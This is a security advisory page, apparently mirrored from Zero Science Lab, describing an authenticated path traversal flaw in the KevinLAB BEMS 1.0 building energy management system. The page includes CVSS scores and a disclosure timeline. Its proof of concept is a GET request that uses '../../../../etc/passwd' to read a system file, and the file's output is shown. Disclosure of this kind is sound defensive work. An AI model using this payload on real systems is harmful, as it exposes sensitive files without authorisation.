Lucene search

Gjoko KrsticZSL-2021-5656

HistoryJul 20, 2021 - 12:00 a.m.

KevinLAB BEMS 1.0 Authenticated File Path Traversal Information Disclosure

2021-07-2000:00:00

Gjoko Krstic

zeroscience.mk

214

kevinlab

bems

file path traversal

disclosure

energy management system

arbitrary file.

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:S/C:P/I:N/A:N

CVSS3

6.5

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

AI Score

6.2

Confidence

High

EPSS

0.001

Percentile

37.4%

JSON

Title: KevinLAB BEMS 1.0 Authenticated File Path Traversal Information Disclosure
Advisory ID: ZSL-2021-5656
Type: Local/Remote
Impact: Exposure of System Information, Exposure of Sensitive Information
Risk: (3/5)
Release Date: 20.07.2021

Summary

KevinLab is a venture company specialized in IoT, Big Data, A.I based energy management platform. KevinLAB’s BEMS (Building Energy Management System) enables efficient energy management in buildings. It improves the efficient of energy use by collecting and analyzing various information of energy usage and facilities in the building. It also manages energy usage, facility efficiency and indoor environment control.

Description

The BEMS suffers from an authenticated arbitrary file disclosure vulnerability. Input passed through the ‘page’ GET parameter in index.php is not properly verified before being used to include files. This can be exploited to disclose the contents of arbitrary and sensitive files via directory traversal attacks.

Vendor

KevinLAB Inc. - <http://www.kevinlab.com>

Affected Version

4ST L-BEMS 1.0.0 (Building Energy Management System)

Tested On

Linux CentOS 7
Apache 2.4.6
Python 2.7.5
PHP 5.4.16
MariaDB 5.5.68

Vendor Status

[05.07.2021] Vulnerability discovered.
[08.07.2021] Vendor contacted.
[12.07.2021] No response from the vendor.
[13.07.2021] Vendor contacted.
[19.07.2021] No response from the vendor.
[20.07.2021] Public security advisory released.

PoC

kevinlab_bems_lfi.txt

Credits

Vulnerability discovered by Gjoko Krstic - <[email protected]>

References

[1] <https://packetstormsecurity.com/files/163573/>
[2] <https://www.exploit-db.com/exploits/50147>
[3] <https://cxsecurity.com/issue/WLB-2021070123>
[4] <https://exchange.xforce.ibmcloud.com/vulnerabilities/205981>
[5] <https://vulners.com/cve/CVE-2021-37293>

Changelog

[20.07.2021] - Initial release
[21.07.2021] - Added reference [1], [2] and [3]
[22.07.2021] - Added reference [4]
[11.04.2022] - Added reference [5]

Contact

Zero Science Lab

Web: <https://www.zeroscience.mk>
e-mail: [email protected]

<html><body><p>KevinLAB BEMS 1.0 Authenticated File Path Traversal Information Disclosure


Vendor: KevinLAB Inc.
Product web page: http://www.kevinlab.com
Affected version: 4ST L-BEMS 1.0.0 (Building Energy Management System)

Summary: KevinLab is a venture company specialized in IoT, Big Data, A.I based energy
management platform. KevinLAB's BEMS (Building Energy Management System) enables
efficient energy management in buildings. It improves the efficient of energy use
by collecting and analyzing various information of energy usage and facilities in
the building. It also manages energy usage, facility efficiency and indoor environment
control.

Desc: The BEMS suffers from an authenticated arbitrary file disclosure vulnerability.
Input passed through the 'page' GET parameter in index.php is not properly verified
before being used to include files. This can be exploited to disclose the contents
of arbitrary and sensitive files via directory traversal attacks.

Tested on: Linux CentOS 7
           Apache 2.4.6
           Python 2.7.5
           PHP 5.4.16
           MariaDB 5.5.68


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5656
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5656.php


05.07.2021

--


GET https://192.168.1.3/pages/index.php?page=../../../../etc/passwd HTTP/1.1

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
...
...
</p></body></html>

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:S/C:P/I:N/A:N

CVSS3

6.5

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

AI Score

6.2

Confidence

High

EPSS

0.001

Percentile

37.4%

JSON

Related for ZSL-2021-5656